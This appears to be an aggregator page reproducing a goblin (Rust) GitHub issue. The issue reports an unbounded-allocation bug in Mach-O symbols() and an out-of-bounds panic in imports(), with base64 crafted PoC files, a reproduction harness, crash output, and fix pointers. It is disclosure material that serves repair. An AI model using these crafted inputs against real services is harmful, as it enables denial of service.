m4b / m4b/goblin

DoS via unchecked `nsyms` in `symbols()`, and OOB panic in `imports()`

Open
#542 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
Rust
Stars
1.5k
Forks
202
PR merge metrics
No merged PRs in 30d

Description

Version: 0.10.6 (also on main @ dca2e75, 2026-06-13), reproduced on 0.10.7
Type: denial-of-service on untrusted input (OOM / effectively unbounded iteration)

Two issues reachable through public accessors after a successful Object::parse, on crafted 64-bit Mach-O input. Both PoCs are tiny (79 and 89 bytes) and are inlined below.

Reproduction

Recreate the two inputs:

base64 -d > poc-symbols.macho <<'EOF'
/u36zmTQMwIAAAAvAAAACAAAAAIAAAAvAAAACAAAAAIAAAAAAAAAAP///////////////wAAAIAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADbAAg=
EOF

base64 -d > poc-imports.macho <<'EOF'
/u36zmTQMwIAAAAvAAAACAAAAAIAAAAvAAAACAAAACIAAAAAAAAAAAAAIAAAAAAAAAEJAAAAAAD/UeV0ZAAAAAAAf8prD1R1AABMTNsACA==
EOF

Cargo.toml:

[dependencies]
goblin = "0.10.7"

src/main.rs:

use goblin::{mach::Mach, Object};

fn main() {
    let mode = std::env::args().nth(1).expect("mode: symbols|imports");
    let data = std::fs::read(std::env::args().nth(2).expect("poc path")).unwrap();
    if let Ok(Object::Mach(Mach::Binary(m))) = Object::parse(&data) {
        match mode.as_str() {
            "symbols" => { let v: Vec<_> = m.symbols().collect(); eprintln!("symbols={}", v.len()); }
            "imports" => { let v = m.imports().map(|i| i.len()); eprintln!("imports={v:?}"); }
            _ => {}
        }
    }
    println!("no panic / no OOM");
}
cargo run --release -- imports poc-imports.macho
#   thread 'main' panicked at goblin-0.10.7/src/mach/imports.rs:94:28:
#   index out of bounds: the len is 0 but the index is 0

# The symbols case allocates until it dies; cap it so it fails fast rather than swapping the machine.
(ulimit -v 2000000; cargo run --release -- symbols poc-symbols.macho)
#   memory allocation of 3221225472 bytes failed

1. Unbounded allocation — MachO::symbols() (mach/symbols.rs)

SymbolIterator trusts nsyms from the LC_SYMTAB command and yields that many items, returning Some(Err(..)) past the end of the data instead of stopping:

fn next(&mut self) -> Option<Self::Item> {
    if self.count >= self.nsyms { None }
    else {
        self.count += 1;
        match self.data.gread_with::<Nlist>(&mut self.offset, self.ctx) {
            Ok(symbol) => match self.data.pread(self.strtab + symbol.n_strx) {
                Ok(name) => Some(Ok((name, symbol))),
                Err(e)   => Some(Err(e.into())),   // OOB -> keeps going
            },
            Err(e) => Some(Err(e)),                // OOB -> keeps going
        }
    }
}

The 89-byte file above declares > 80,000,000 symbols, so symbols().collect() grows a Vec until allocation fails. 3 GB in the run above. Since every past-the-end read yields Some(Err(..)) rather than None, the iterator never terminates early, and callers that merely iterate (without collecting) spin instead.

For contrast, ncmds is bounded against the input in mach/mod.rs; nsyms is not.

2. OOB panic — MachO::imports() (mach/imports.rs:94)

index out of bounds: the len is 0 but the index is 0
let segment = &segments[bi.seg_index as usize];  // bi.seg_index comes from the bind info

bi.seg_index, read from the dyld bind information, indexes segments with no bounds check. The 79-byte PoC reaches it with an empty segments list.

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start with mach/symbols.rs and mach/imports.rs, then compare the input-bounds handling in mach/mod.rs. Reproduce both cases with the inline base64 PoCs and the provided cargo commands; done means symbols() stops on truncated data and imports() no longer panics on the crafted empty-segment input.

Written by the indexing model from the issue text.

Assessment

Tech stack
rust
Domain
reverse-engineering, security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
55/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.